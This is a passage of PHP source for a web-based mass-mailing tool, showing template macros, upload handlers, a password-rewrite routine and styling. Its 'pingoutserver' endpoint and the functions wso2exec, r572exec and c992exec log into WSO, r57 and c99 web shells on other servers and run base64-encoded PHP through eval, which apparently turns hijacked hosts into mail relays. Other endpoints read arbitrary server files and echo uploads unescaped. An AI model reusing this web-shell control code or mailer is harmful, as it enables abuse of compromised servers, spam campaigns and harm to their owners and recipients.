  597.     $opts = array('http' =>
  598.         array(
  599.             'method'  => 'POST',
  600.             //'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
  601.             'header'  => implode(PHP_EOL, $headers),
  602.             //'timeout' => $timeout,
  603.             'content' => http_build_query($post)
  604.         )
  605.     );
  606.     //print_r($opts);
  607.     $context  = stream_context_create($opts);
  608.     $response=@file_get_contents($requrl, false, $context);
  609.     print $response;
  610.     exit;
  611.  
  612. } elseif ($_SERVER['QUERY_STRING']=="upload_form") {
  613.     print "<form action='".$_SERVER['PHP_SELF']."?upload' method='post' enctype='multipart/form-data'><input type='file' name='elist'>";
  614.  
  615.     exit;
  616.  
  617. } elseif ($_SERVER['QUERY_STRING']=="upload") {
  618.     if ($_FILES["elist"]["error"] > 0) {
  619.         echo "Error: " . $_FILES["elist"]["error"] . "<br />";
  620.     } else {
  621.         print "<html><body onload='window.parent.upload_finished(document.body.textContent||document.body.innerText)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>";
  622.     }
  623.     exit;
  624. } elseif ($_SERVER['QUERY_STRING']=="upload_universal") {
  625.     if(!isset($_POST['sended'])) {
  626.         print "<form action='".$_SERVER['PHP_SELF']."?upload_universal' method='post' enctype='multipart/form-data'><input type='hidden' name='sended' value='true'><input type='file' name='elist'>";
  627.     exit;
  628.     } else {
  629.         if ($_FILES["elist"]["error"] > 0) {
  630.             echo "Error: " . $_FILES["elist"]["error"] . "<br />";
  631.         } else {
  632.             print "<html>
  633.             <body onload='window.parent.uploadFinishedHandler(document.body.textContent||document.body.innerText)'>".
  634.             base64_encode(json_encode(array(
  635.                 "name" => $_FILES["elist"]["name"],
  636.                 "type" => $_FILES["elist"]["type"],
  637.                 "size" => $_FILES["elist"]["size"],
  638.                 "content" => base64_encode(file_get_contents($_FILES["elist"]["tmp_name"]))
  639.             ))).
  640.             "</body></html>";
  641.         }
  642.         exit;
  643.     }
  644.     if ($_FILES["elist"]["error"] > 0) {
  645.         echo "Error: " . $_FILES["elist"]["error"] . "<br />";
  646.     } else {
  647.         print "<html><body onload='window.parent.upload_finished(document.body.textContent||document.body.innerText)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>";
  648.     }
  649.     exit;
  650.  
  651. } elseif ($_SERVER['QUERY_STRING']=="loadsave") {
  652.     if(isset($_FILES["elist"])) {
  653.         print "<html><body onload='window.parent.loadsave(document.body.innerHTML)'>".file_get_contents($_FILES["elist"]["tmp_name"])."</body></html>";
  654.     } else {
  655.         print "<form action='".$_SERVER['PHP_SELF']."?loadsave' method='post' enctype='multipart/form-data'><input type='file' name='elist'></form>";
  656.     }
  657.     exit;
  658. } elseif ($_SERVER['QUERY_STRING']=="savedata") {
  659.     if(isset($_POST['savedata'])) {
  660.         header ("Content-Type: application/force-download");
  661.         header ("Accept-Ranges: bytes");
  662.         header ("Content-Length: ".strlen(($_POST['savedata'])));
  663.         header ("Content-Disposition: attachment; filename=template.txt");  
  664.         print $_POST['savedata'];
  665.     } else {
  666.         print "<form action='".$_SERVER['PHP_SELF']."?savedata' method='post'><textarea name='savedata'></textarea>
  667.     <input type='submit' value='Upload'></form>";
  668.     }
  669.     exit;
  670. } elseif ($_SERVER['QUERY_STRING']=="changepass") {
  671.     clearstatcache();
  672.     $response=array();
  673.     if(!is_writable(__FILE__)) {
  674.         $response['result']="error";
  675.     } elseif($_POST['login']=="" && $_POST['pass']=="") {
  676.         $data=file_get_contents(__FILE__);
  677.         $data=str_replace($logpass, "", $data);
  678.         file_put_contents(__FILE__, $data);
  679.         $response['result']="ok";
  680.     } else {
  681.         $new_logpass=md5($_POST['login']."IMAIL".$_POST['pass']);
  682.         $data=file_get_contents(__FILE__);
  683.         if($logpass=="") {
  684.             $data=str_replace('$logpass="";', '$logpass="'.$new_logpass.'";', $data);
  685.         } else {
  686.             $data=str_replace($logpass, $new_logpass, $data);
  687.         }
  688.         //$data=preg_replace("/$logpass=\".*?\";/", "$logpass=\"".$new_logpass."\";", $data, 1);
  689.         file_put_contents(__FILE__, $data);
  690.         $response['result']="ok";
  691.     }
  692.     //print $new_logpass.PHP_EOL;
  693.     //print $data;
  694.     print json_encode($response);
  695.     exit;
  696. } elseif ($_SERVER['QUERY_STRING']=="diagnostics") {
  697.     clearstatcache();
  698.     $state=array(
  699.         'self_permissions'=>(int)is_writable(__FILE__),
  700.         'dir_permissions' =>(int)is_writable("."),
  701.         'mail_function'   =>(int)function_exists("mail"),
  702.         'fgc_function'    =>(int)function_exists("file_get_contents")
  703.     );
  704.     if(isset($_POST['API'])) {
  705.         print json_encode($state);
  706.         exit;
  707.     }
  708.     print "<h1>diagnostics</h1>";
  709.     print "<pre>";
  710.     print_r($state);
  711.     print "</pre>";
  712.     exit;
  713. } elseif ($_SERVER['QUERY_STRING']=="pingoutserver") {
  714.     $testcode="echo 'test';";
  715.     $outserver=$_POST['server'];
  716.     /*$list=explode(PHP_EOL, $_POST['servers']);
  717.     $newlist=array();*/
  718.     //foreach ($list as $outserver) {
  719.     list($url,$type,$pass)=explode("|",$outserver);
  720.     //сначала проверим что не 404
  721.     $headers = get_headers($url, 1);
  722.     if($headers[0]=="HTTP/1.1 404 Not Found") {
  723.         print json_encode(array(
  724.             "status"=>"BAD",
  725.             "server"=>$outserver,
  726.             "error"=>"404 not found"
  727.         ));
  728.         exit;
  729.     }
  730.     //иначе проводим тест авторизации и выполнения кода
  731.     $result=false;
  732.     if($type=="wso2") {
  733.         $answer=wso2exec($url,$pass,$testcode);
  734.         if($answer=='test')
  735.             $result=true;
  736.     } elseif($type=="r57") {
  737.         list($login,$pass)=explode(":", $pass);
  738.         $answer=r572exec($url,$login,$pass,$testcode);
  739.         if($answer=='test')
  740.             $result=true;
  741.     } elseif($type=="c99") {
  742.         list($login,$pass)=explode(":", $pass);
  743.         $answer=c992exec($url,$login,$pass,$testcode);
  744.         if($answer=='test')
  745.             $result=true;
  746.     } elseif($type=="ars") {
  747.         //list($login,$pass)=explode(":", $pass);
  748.         $answer=ars2exec($url,$pass,"test");
  749.         if($answer=='test')
  750.             $result=true;
  751.     }
  752.     //}
  753.  
  754.     if($result)
  755.         print json_encode(array(
  756.             "status"=>"GOOD",
  757.             "server"=>$outserver
  758.         ));
  759.     else
  760.         print json_encode(array(
  761.             "status"=>"BAD",
  762.             "server"=>$outserver,
  763.             "error"=>"test command execution failed"
  764.         ));
  765.     exit;
  766. } elseif ($_SERVER['QUERY_STRING']=="linesinfile") {
  767.     $file_path=$_POST['file_path'];
  768.     if(!file_exists($file_path) || !is_readable($file_path))
  769.         print "0";
  770.     else {
  771.         $file_data=explode("\n", file_get_contents($file_path));
  772.         print count($file_data);
  773.     }
  774.     exit;
  775. }
  776. function ReplaceFileTemplate(&$target, &$email) {
  777.     if(preg_match_all('/\[FILE:(.+?)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
  778.         foreach ($arr[0] as $key => $value) {
  779.             $file_path=$arr[1][$key];
  780.             if(!file_exists($file_path) || !is_readable($file_path))
  781.                 $target=str_replace($value, "file not available", $target);
  782.             else {
  783.                 $file_data=explode("\n", file_get_contents($file_path));
  784.                 $result_str=$file_data[($email[enumer]-1)%count($file_data)];
  785.                 $target=str_replace($value, $result_str, $target);
  786.             }
  787.         }
  788.     }
  789. }
  790. function ReplaceTemplates(&$target, &$email) {
  791.     $target=str_replace('[TO-EMAIL]', $email[to], $target);
  792.     $target=str_replace('[FROM-NAME]', $email[fromname], $target);
  793.     $target=str_replace('[FROM-EMAIL]', $email[frommail], $target);
  794.     $target=str_replace('[REPLY-EMAIL]', $email[replymail], $target);
  795.     $target=str_replace('[THEME]', $email[tema], $target);
  796.     //Макрос умножения
  797.    
  798.  
  799.     foreach ($email[additional] as $key => $value) {
  800.         $target=str_replace('[ADD'.$key.']', $value, $target);     
  801.     }
  802.     ReplaceFileTemplate($target, $email);
  803.     if(preg_match_all('/\[(DATE|DAY|MONTH|YEAR|TIME|HOUR|MINUTE)([+-]\d+)*\]/', $target, $arr)) {
  804.         foreach ($arr[0] as $key => $value) {
  805.             switch ($arr[1][$key]) {
  806.                 case 'DATE':
  807.                     $txt_val=date("d.m.Y", strtotime(intval($arr[2][$key])." day"));
  808.                     break;
  809.                 case 'DAY':
  810.                     $txt_val=date("d", strtotime(intval($arr[2][$key])." day"));
  811.                     break;
  812.                 case 'MONTH':
  813.                     $txt_val=date("m", strtotime(intval($arr[2][$key])." month"));
  814.                     break;
  815.                 case 'YEAR':
  816.                     $txt_val=date("Y", strtotime(intval($arr[2][$key])." year"));
  817.                     break;
  818.                 case 'TIME':
  819.                     $txt_val=date("H:i", strtotime(intval($arr[2][$key])." minute"));
  820.                     break;
  821.                 case 'HOUR':
  822.                     $txt_val=date("H", strtotime(intval($arr[2][$key])." hour"));
  823.                     break;
  824.                 case 'MINUTE':
  825.                     $txt_val=date("i", strtotime(intval($arr[2][$key])." minute"));
  826.                     break;
  827.                 default:
  828.                     $txt_val='';
  829.                     break;
  830.             }
  831.             $target=str_replace($value, $txt_val, $target);
  832.         }
  833.     }
  834.     if(preg_match_all('/\[\((.*?)\)\*(\d+)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
  835.         foreach ($arr[0] as $key => $value) {
  836.             $target=str_replace($value, str_repeat($arr[1][$key], $arr[2][$key]), $target);
  837.         }
  838.     }
  839.     if(preg_match_all('/\[ENUM:([^\[\]]+?)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
  840.         foreach ($arr[0] as $key => $value) {
  841.             $enum_array=explode("|", $arr[1][$key]);
  842.             $enum_array_length=count($enum_array);
  843.             $target=str_replace($value, $enum_array[$email[enumer]%$enum_array_length], $target);
  844.         }
  845.     }
  846.  
  847.     if(preg_match_all('/\[RAND\]/', $target, $arr, PREG_PATTERN_ORDER)) {
  848.         foreach ($arr[0] as $key => $value) {
  849.             $target=preg_replace("/\[RAND\]/", rand(5000,6000), $target, 1);
  850.         }
  851.     }
  852.     if(preg_match_all('/\[RAND\-(\d+)\-(\d+)\]/', $target, $arr, PREG_PATTERN_ORDER)) {
  853.         foreach ($arr[0] as $key => $value) {
  854.             $target=preg_replace("/".str_replace(array("[","]"), array("\[","\]"), $value)."/", rand($arr[1][$key],$arr[2][$key]), $target, 1);
  855.         }
  856.     }
  857.     while(preg_match_all('/\[RAND:([^\[\]]+?)\]/u', $target, $arr, PREG_PATTERN_ORDER)) {
  858.         foreach($arr[0] as $key => $value) {
  859.             $words=explode("|",$arr[1][$key]);
  860.             $target=preg_replace("/".preg_quote($value,"/")."/", $words[array_rand($words)],$target, 1);
  861.         }
  862.     }
  863. }
  864. function applyEnumer($field, $enumer) {
  865.     if(strpos($field, "\n")==-1) return $field;
  866.  
  867.     $field_values=explode("\n", $field);
  868.     $field_values_count=count($field_values);
  869.  
  870.     $value=$field_values[$enumer%$field_values_count];
  871.  
  872.     return  $value;
  873. }
  874. function makeAttach($attachedFiles, $boundary) {
  875.     $data="";
  876.     if($attachedFiles==null) return $data;
  877.     foreach ($attachedFiles as $index => $file) {
  878.         if($file==null) continue;
  879.         $data.="--$boundary\n";
  880.         $data.="Content-Type: ".$file['type']."; name=\"".$file['name']."\"\n";
  881.         $data.="Content-Transfer-Encoding:base64\n";
  882.         $data.="Content-ID: <".md5($file['name']).">\n\n";
  883.         $data.=chunk_split($file['content'])."\n";
  884.     }
  885.     return $data;
  886. }
  887. function wso2exec($url, $pass, $code) {
  888.     $postdata = http_build_query(
  889.         array(
  890.             'pass' => $pass,
  891.             'a' => 'RC',
  892.             'p1' => trim($code)
  893.         )
  894.     );
  895.  
  896.     return get_content($url, $postdata, 10);
  897. }
  898. function ars2exec($url, $pass, $req="test", $data) {
  899.     $postdata = http_build_query(
  900.         array(
  901.             'pass' => $pass,
  902.             'req' => $req,
  903.             'data' => $data
  904.         )
  905.     );
  906.     $response=get_content($url, $postdata, 10);
  907.     $response_decoded=json_decode($response,true);
  908.     if($req=="test")
  909.         if($response_decoded['status']=="GOOD")
  910.             return "test";
  911.         else
  912.             return "bad";
  913.     //print $response;
  914.     return $response_decoded;
  915. }
  916. function r572exec($url, $login, $pass, $code, $timeout=10) {
  917.     $str_start=randomstr();
  918.     $str_end=randomstr();
  919.     $eval_sub='eval(base64_decode($_POST["debug_value_fgtr"]));';
  920.     $eval_sub="echo('".substr($str_start,0,4)."'.'".substr($str_start,4,4)."');".$eval_sub."die('".substr($str_end,0,4)."'.'".substr($str_end,4,4)."');";
  921.  
  922.     $post='php_eval='.urlencode($eval_sub).'&dir=.%2F&cmd=php_eval&submit=exec&debug_value_fgtr='.urlencode(base64_encode($code));
  923.  
  924.     if(!empty($pass) && !empty($login)){
  925.         $post.='&auth_user='.urlencode($login).'&auth_pass='.urlencode($pass);
  926.         $headers=array('Authorization: Basic '.base64_encode($login.':'.$pass));
  927.     }else{
  928.         $headers=array();
  929.     }
  930.     $headers[]='Content-type: application/x-www-form-urlencoded';
  931.  
  932.     $opts = array('http' =>
  933.         array(
  934.             'method'  => 'POST',
  935.             'proxy'   => (defined('PROXY'))?('tcp://' . PROXY):null,
  936.             'header'  => implode(PHP_EOL, $headers),
  937.             'timeout' => $timeout,
  938.             'content' => $post
  939.         )
  940.     );
  941.     //print_r($opts);
  942.     $context  = stream_context_create($opts);
  943.     $response=@file_get_contents($url, false, $context);
  944.     $response=strstr($response, $str_start);
  945.     $response=str_replace(array($str_end, $str_start), "", $response);
  946.     return $response;
  947. }
  948. function c992exec($url, $login, $pass, $code, $timeout=10) {
  949.     $str_start=randomstr();
  950.     $str_end=randomstr();
  951.     $eval_sub='eval(base64_decode($_POST["debug_value_fgtr"]));';
  952.     $eval_sub="echo('".substr($str_start,0,4)."'.'".substr($str_start,4,4)."');".$eval_sub."die('".substr($str_end,0,4)."'.'".substr($str_end,4,4)."');";
  953.  
  954.     $post='act=eval&eval='.urlencode($eval_sub).'&d=.%2F&eval_txt=1&debug_value_fgtr='.urlencode(base64_encode($code));
  955.  
  956.     if(!empty($pass) && !empty($login)){
  957.         $headers=array('Authorization: Basic '.base64_encode($login.':'.$pass));
  958.     }else{
  959.         $headers=array();
  960.     }
  961.     $headers[]='Content-type: application/x-www-form-urlencoded';
  962.  
  963.     $opts = array('http' =>
  964.         array(
  965.             'method'  => 'POST',
  966.             'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
  967.             'header'  => implode(PHP_EOL, $headers),
  968.             'timeout' => $timeout,
  969.             'content' => $post
  970.         )
  971.     );
  972.     //print_r($opts);
  973.     $context  = stream_context_create($opts);
  974.     $response=@file_get_contents($url, false, $context);
  975.     $response=strstr($response, $str_start);
  976.     $response=str_replace(array($str_end, $str_start), "", $response);
  977.     return $response;
  978. }
  979. function randomstr($int=8){
  980.     $str='';
  981.     $arr='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  982.     for($i=0;$i<$int;$i++) $str.=$arr{rand(0,61)};
  983.     return $str;
  984. }
  985. function get_content($url, $post,$timeout) {
  986.     $opts = array('http' =>
  987.         array(
  988.             'method'  => 'POST',
  989.             'proxy' => (defined('PROXY'))?('tcp://' . PROXY):null,
  990.             'header'  => 'Content-type: application/x-www-form-urlencoded',
  991.                         'timeout' => $timeout,
  992.             'content' => $post
  993.         )
  994.     );
  995.     $context  = stream_context_create($opts);
  996.     return @file_get_contents($url, false, $context);
  997. }
  998.  
  999. ?>
  1000. <html>
  1001. <head>
  1002. <title><?php tr('name',false); ?> <?php echo VERSION;?></title>
  1003. <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  1004. <script type="text/javascript" src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
  1005. <link href="http://netdna.bootstrapcdn.com/bootswatch/2.3.0/united/bootstrap.min.css" rel="stylesheet">
  1006. <link rel="shortcut icon" type="image/x-icon" href="data:image/png;base64,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" />
  1007. <style>
  1008. body {
  1009.     background-color: WHITE;
  1010. }
  1011.  
  1012. .content {
  1013.     margin: 0 auto;
  1014.     background-color: #fcf2d4;
  1015.     width: 1000px;
  1016.     padding: 5px;
  1017.     border: 1px solid black;
  1018.     border-radius: 5px;
  1019. }
  1020.  
  1021. #console {
  1022.     margin: 0 auto;
  1023.     padding: 5px;
  1024.     border-radius: 5px;
  1025. }
  1026.  
  1027. #ext-console {
  1028.     padding: 5px;
  1029.     border-radius: 5px;
  1030.     overflow-y: scroll;
  1031.     height: 620px;
  1032.     text-align: left;
  1033. }
  1034.  
  1035. a:link {
  1036.     color: #000;
  1037. }
  1038.  
  1039. a:visited {
  1040.     color: #000;
  1041. }
  1042.  
  1043. .miniimput {
  1044.     font-family: Tahoma,Geneva,sans-serif;
  1045.     font-size: 14pt;
  1046.     border-color: 336699;
  1047.     border-style: inset;
  1048.     border-width: 2px;
  1049. }
  1050.  
  1051. #upload_button {
  1052.     display: inline-block;
  1053.     width: 24px;
  1054.     height: 24px;
  1055.     background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAADb0lEQVR42q2Va2gUVxTH/3dmdxMza8QQrRa0VFGjNEWzVCIENz4aX6C2H6wWRD8KVQpRCxUfQRDU2hbRD2o+iFqqtPUVo2ts89iqNRojLT7S7NZHTNwYsxs3j83uZmbu6ZkNSARFs+uB4V7m3vv/3fOYMwIpWJGnnYQCVMwbIV63RwxGcKAVlrfThmkaasMmahqjuPL5yFdqJQWYWfaMilncnmZHU1zC+6AHjx5HcX3lGJEywH36Ka1zDcUopwNXwwZsHKJ0m8C5W8/xLBDFrTXjRNIA15EWWvpxBmZ/4ERVB4sTYBJB8ihZyuNtRaw7jn/WTxGDBuSWNtEXeUNRMNaJypAOhYVNC8DqpuQN1lwFqioDiHVG0bB1qnhrQN7Bh/QZhyXnvQyUP4kjN8uBll5WTUDYA4b0xEzE+J0uBBouN0Pvi+O/nfnijYC8/X6yxj5DwtBN9Pbo+O2riThwPwaFj5t8fVIEfPfCCNxphcKuCOuRlFySx35bT8e+zsHexjjsfHudhawItTQ+R+huAA/3u5NPsmXvF9fS4Y0fYfffEdj4uOREGPw+6OtAV0MATaVzUgOMWuOlQ5tc2FHXBc4pDAaYLNPpCyLua0bz0UWpAUau/p32leRj859hOPh0X5+EVAVi/iDo/mMETixNDZC9/ALt2ePGN54Q7Gp/iEzitPpb+XmE4JllqQGw8CyNn5SFpjtPYVdkooosk8RVFuP51ZUvA8rOVwyRUm6VRPG30eeKlJoDEf4GdEVR6MUV+0dFSqRH4kjneTqvbxe/niprn/GJK1vlpkI0aH8GhEJwX7InRpMMGIaOv+rqg+La9ZuUP92VvPIAq2urRigaQsHo+XCmOVF7ox6iuvoyFRYWMNFIWlgVKtoibdhyezEyhwSRS9uw2rUKNTVXIC5UVFLRnJlcbnpKgEB3AAtPTsaI0RqWaCUonrsWnktVEKfOlFPRp7Oh6zqE1Zre3J5eEX/AoabB3+bnxgd8mD0GdocDFy/9AfHT8V9owby56OgIo6e7G0JRkvLCgijsiVWumqZheNYweCoYUHr4CM1yu+Hz+3Gv4V+oqpp0qCwzTRNTJudg4oQJqPZ6IXZ99yN9uWJ5Islct/1hSsEo8X+QsNls+Pn4CYhNm0u+1zK04sxhmYnFd2HWJbs6uxDpjfzwP0ptjebUDXW8AAAAAElFTkSuQmCC);
  1056. }
  1057.  
  1058. #help-screen,#settings-screen,#preview-screen {
  1059.     display: none;
  1060. }
  1061.  
  1062. #done {
  1063.     background-color: YellowGreen;
  1064.     width: 0;
  1065.     height: 15px;
  1066.     padding: 0;
  1067.     margin: 0;
  1068.     border-radius: 5px;
  1069. }
  1070.  
  1071. .addfield {
  1072.     font-family: "Arial Black","Gadget",sans-serif;
  1073.     font-size: 30px;
  1074.     color: #04bf0a;
  1075.     -moz-user-select: none;
  1076.     -khtml-user-select: none;
  1077.     user-select: none;
  1078.     cursor: pointer;
  1079. }
  1080.  
  1081. #makebold {
  1082.     font-weight: bold;
  1083. }
  1084.  
  1085. #makeitalic {
  1086.     font-style: italic;
  1087. }
  1088.  
  1089. #makeunderline {
  1090.     text-decoration: underline;
  1091. }
  1092.  
  1093. .button {
  1094.     padding: 5px 10px;
  1095.     display: inline;
  1096.     background: #777 url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAABkCAYAAABHLFpgAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNrEjkEWwiAQQyGlwOAN3Hv/m3UnA62vONF2p25lkfeTwAx+CuEWYgguxBgdYoo7YkwDOWeKDEjOO6TQStlRXlkRIylGl3JQYSaFJGxJIq9M2No9OYbuSOncYXuHWZN5Nglhcm6M4eDsfJDrt+Jv8vO7hyzL4rFtD8rmsPbu0bcOtEZq6tG0eVSKqlqhldao1grL2NY728qMhdozfbfqz3sc1dpBnYvMeqyrbet99U8BBgCRTXT4kGguQQAAAABJRU5ErkJggg==) repeat-x bottom;
  1097.     border: 0;
  1098.     color: #fff;
  1099.     cursor: pointer;
  1100.     font-weight: bold;
  1101.     border-radius: 5px;
  1102.     -moz-border-radius: 5px;
  1103.     -webkit-border-radius: 5px;
  1104.     text-shadow: 1px 1px #666;
  1105.     margin: 0 5px;
  1106. }
  1107.  
  1108. .button:hover {
  1109.     background-position: 0 -48px;
  1110. }
  1111.  
  1112. .button:active {
  1113.     background-position: 0 top;
  1114.     position: relative;
  1115.     top: 1px;
  1116.     padding: 6px 10px 4px;
  1117. }
  1118.  
  1119. #attachedFiles .File a {
  1120.     color: RED;
  1121.     font-weight: bold;
  1122.     text-decoration: none;
  1123.     font-family: 'Arial Black',Gadget,sans-serif;
  1124. }
  1125.  
  1126. #attachedFiles div {
  1127.     display: inline-block;
  1128.     width: 24px;
  1129.     height: 24px;
  1130.     background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAFF0lEQVR42o2Ve0xTVxjAv9MWOhRruRMsbx1YkJeiYMRlQ+PmYuZ0Y1NReagZwwm4LdkW/9hmzLYYTYwIQaPDsclwxsnclszXdGEzivJYeRVWHlIK8tbbF31B+XZuKUmvtLiTnN4v55x+v/M9DwHn+Pz0eVEFu7BBHiCJmUTklgjAlEBFp0xc1hySPtjX62jqC0zxntWRRnAzyLSwJD7RN+KDU4by9EQcNdvoBqcM0OUcTn/pgND5PlBeoyFib+HIbdXA8U1LA47tSI7A2QDSxQdK2KI346HzsZGqF3jSD5yFq0MZeOPMPfglJwVuqIa1lY29xdtj/Q/tWi3HWQElaQnYzY5RgGcLOEBSkBQ2n60mFdnJOMdLCNdUIxPXlX1nU8PmfbZvbZx2BkBOAYso4PTbCajWmkFAfURVovPUlOz8coDEwPnwVul98nvuGhwx2cBHJCRX24asf6r6v305ZE7ee+uW4QxAOAV8884y0OjMQIjnGE9SMUEmgW3f14LNNgETdMFOZ3ZyGPzcNjiBN09Jbl2uMPMBCRRQUMKe27ocH+nNs7qIC7JELIIQiQ/vjFgkwM3fPQB1cQHT3vSP1i2gbNtyHDBYuct6dBE4taJrKtPdIMlzuOeSAnrcAaIoIIwCzqevgEGjxaHLUxbxc2RaP4DMVwxZFxWgKc73U3kC/LBjBQ6PcXXwbAJ3Bl3O+M/1xowf66GnKJ9pb1a4B1zYuRJHTc8GEJpmAu7H4SNHahHGxwt3XqgD9ck8pqOlwQ0gv4S9mLESWVrJ/LbgmkaAXPx1T1gY6R/gRJwrkcDC0GAK8Mbt5bWgLtpPAY3uAT9lJoHWMu7x+tylR4dG4N+WNhgcZR2rRoMRQsKDYeuWDZBWRrPo5D6/DmWTe0BlVhLqrRP8CDplLnVFIhE+6tHArdt3YOOmV2kvEmN9jQJ6+wdJQe4u3HyuGroL32c6W58CcK1iEY3BlexkGLPZnTuu+gGEQiH8VXUXdDo9DA2PQl7ebkeBKWoaoK6pFT7MzYDXS6vhYWGuX1drMx+weGm8NPKjM+ylzCR0uugpCwgKvYTkj9+uoX7MBBaLFTKz04lJy6JarYG6ZhXJz9mFabTQOo/nMN2qVj5gUVSMVP5xKVu4JQ5Vo0ZnJbsGGVAgEhG2/h7qjCawWq0QnbqedNypwkCZPyh7Bkhm1nYsqFSA6uhepqdTxQeEy2OkUZ+Usidpu+6gAIGAzAiyQCiCx3V34bHeAOO2cVi2YSN0378D0vnzQKkegMysdMi/rIC2I7v9eh+28wFhS5ZKoz8957CgnQM83YsojwLIk/q72PloGBaHyADtdqIzWTB44fPQ3NVHMrLSqQUN0Hokm+l72MEHhERGS+MOltFWkThVaI4Md7rIIdMsomY9uHkDzSCkgECwWcxE4seg1WyC+uY2krNnJ2ZcqIeWrzOZvu5OPiA4IkoqfrdoUO4vEU/ijJfPMez0lXtN0AdCqwk0c4JhEHzgpQBvWGAegl/bhuBJYCx0DGktljP7A/vVXXxAbMpaH2V1VQQV58IsQxYUGr8398DhmGi5zNtLJNAbx2xNLcreomOHd9PtcTrHYpPXdClr7/Hfg6xDJ0hj1XUx9YaQ8whxdhlCJy0u7oVzeMxiNDAmnfYVJkCWQpe8JyftuoHenpsLgkKrqTYr/Yd9+YvrrGXHvuC/aP935Bz8UvT31SsS2o59ucTibr1q7QZDbOIqQ9mJr2